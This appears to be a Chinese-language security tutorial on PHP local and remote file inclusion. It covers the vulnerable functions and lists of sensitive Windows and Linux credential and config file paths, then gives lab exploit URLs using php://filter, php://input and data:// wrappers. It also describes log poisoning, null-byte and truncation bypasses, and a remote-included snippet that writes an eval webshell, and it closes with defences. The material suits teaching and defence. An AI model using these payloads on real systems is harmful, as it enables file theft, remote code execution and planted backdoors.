概念
-
解释
使用函数去包含任意文件的时候,当包含的文件来源不严谨的时候,当存在包含恶意文件的时候,就可以利用恶心文件进行恶意操作
-
原理
由于在代码开发的过程中,有时候会遇到相同的代码,不想重复输入,就将代码单独写在一个文件里面,当遇到的时候就直接调用该文件进行运行,而这种方式就会导致客户端可以调用其他的恶意文件,通过恶意文件造成文件包含漏洞。
但是前提也是当文件包含的代码文件被当作一个变量来使用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。
文件包含
相关函数
PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
-
注意:
PHP中文件包含函数的区别:
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
特征
-
文件包含的漏洞在url可能看出
http://www.xxx.com/index.php/?name=x.php http://www.xxx.com/index.php/?file=index2
存在特征并不代表能够利用
-
- 可以无视文件拓展名
- 无条件解析php语法规范的代码
分类
-
本地文件包含漏洞(LFI)
在条件允许的情况下,利用本地文件路径加载文件,泄露源码之类的
-
远程文件包含漏洞(RFI)
在php环境中的利用条件是需要在
php.ini
中的配置选项中allow_url_fopen
和allow_url_include
为ON
危害
读取WEB服务器上的配置文件以及WEB服务器上的敏感文件,并且若和webshell联动,并将恶意代码执行将造成更大的危害,通常来说远程文件包含漏洞危害更大。
利用方式
判断服务器类型
- 利用
windows
不区分大小写,而linux
区分大小写(直接对文件名的大小写进行测试)
敏感文件读取
将服务器的敏感文件给读取出来
例如windows
c:\boot.ini #查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml #IIS配置文件
c:\windows\repair\sam #存储Windows的密码
c:\programFiles\mysql\my.ini #mysql配置文件,里面可能有密码
c:\programFiles\mysql\data\mysql\user.MYD #mysql root密码
c:\windows\php.ini #php配置文件
例如linux
/etc/passwd #用户密码
/usr/local/app/apache2/conf/httpd.conf #apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf #虚拟网站设置
/usr/local/app/php5/lib/php.ini #php相关设置
/etc/httpd/conf/httpd.conf #apache配置文件
/etc/my.cnf #mysql配置文件
/etc/sysconfig/iptables #查看防火墙策略
可以根据绝对路径和相对路径进行判断
远程文件读取
例如攻击者主机存在这样的php代码
<?php fputs(fopen("shell.php", "w"),"<?php @eval($_POST['pass']);?>")?>
那么目标机在远程包含这个主机后就会留下后门
然后用蚁剑进行连接
伪协议读取
PHP伪协议总结 - 个人文章 - SegmentFault 思否
php伪协议
#几种常见的伪协议
file:// #访问本地文件系统
http:// #访问HTTPs网址
ftp:// #访问ftp URL
php:// #访问输入输出流
zlib:// #压缩流
data:// #数据
ssh2:// #security shell2
expect:// #处理交互式的流
glob:// #查找匹配的文件路径
file利用方式
URL:http://192.168.10.150/1.php/?name=file://C:/Windows/win.ini
http利用方式
除了能够跳转到别的网址,还可以进行远程包含进行漏洞执行
URL:http://192.168.10.150/1.php/?name=http://www.baidu.com
data利用方式
从php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是php代码,就会执行任意代码。
这里需要注意若使用data的话需要allow_url_include 和allow_url_fopen为on。
URL:http://192.168.10.150/1.php/?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的\<?php phpinfo();?\>
php利用方式
php://filter
php://filter 可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启,读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了
用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php or ../2.php
php://input
php://input主要是用来执行php代码的,不过php://input需要以POST提交,这里我们先在URL中添加php://input然后抓包把GET修改为POST,最后在数据包的最后输入想要执行的代码就可以实现代码执行。
URL:http://192.168.10.150/1.php/?name=php://input
POST: your_php_code
文件包含日志读取
日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,利用包含漏洞执行。
- 恶意代码插入到useragent,或者访问过的url中
- 日志文件保存恶意代码
- 利用文件包含漏洞访问日志文件执行恶意代码
Apache
apache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。
Windows系统:
apache安装目录/logs/access.log或者error.log
linux系统:
/var/log/apache/access.log或者error.log
/var/log/apache2/access.log或者error.log
/etc/httpd/logs/access_log或者error.log
Nginx
nginx存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。
Windows系统:
nginx安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/nginx/access.log或者error.log
IIS
iis6.0版本
C:\windows\system32\LogFiles
iis7.5版本
%SystemDrive%\inetpub\logs\LogFiles
绕过方式
本地文件包含绕过
空字符绕过
-
空字符绕过是存在PHP小于5.3.4版本的一个漏洞,这个漏洞就是用于接收来自路径中的空字符,这样在部分需求下攻击者可以利用将此字符放置安全文件后面来绕过访问限制。
-
前提条件就是需要PHP版本小于5.3.4,并且关闭PHP魔术引导。
php魔术引导介绍
当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。不过该参数在php.ini文件中修改。
PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的
eg:
<?php
$name=$_GET['name'];
include($name.".html");
?>
在正常访问中,包含的文件会在末尾加上后缀,*.html,jpg
之类的
如果这个漏洞存在
URL:http://192.168.10.150/1.php/?name=2.php%00
就可以绕过添加html的后缀,直接访问这个文件
超长字符绕过
超长字符截断就是利用操作系统对目录最大长度的限制,在Windows中目录长度不可以超过256字节,linux中目录长度不可以超过4096字节。超过的部分会被丢弃。
可以使用"./“进行填充,当然不单单”./“可以填充,使用”."也可以,至于还有那些可以绕过,可以自己去试试
远程文件包含绕过
空字符绕过
与本地文件包含绕过类似
超长字符绕过
远程文件包含好像只能使用"./“,其它的像”.“”,“”。“”:"都不能绕过。
?绕过
URL:http://192.168.10.150/1.php/?name=2.php?
常见特殊字符编码
#绕过
URL:http://192.168.10.150/1.php/?name=2.php%23
空格绕过
末尾添加%20
防御方式
- 设置白名单:若是在编写代码的时候能够确定文件包含的文件名的时候,那么最好使用白名单进行参数传入。
- 过滤危险字符:由于Incbude/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini), 在Linux环境中可以通过"…/…/"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。
- 设置文件目录:PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
- 关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。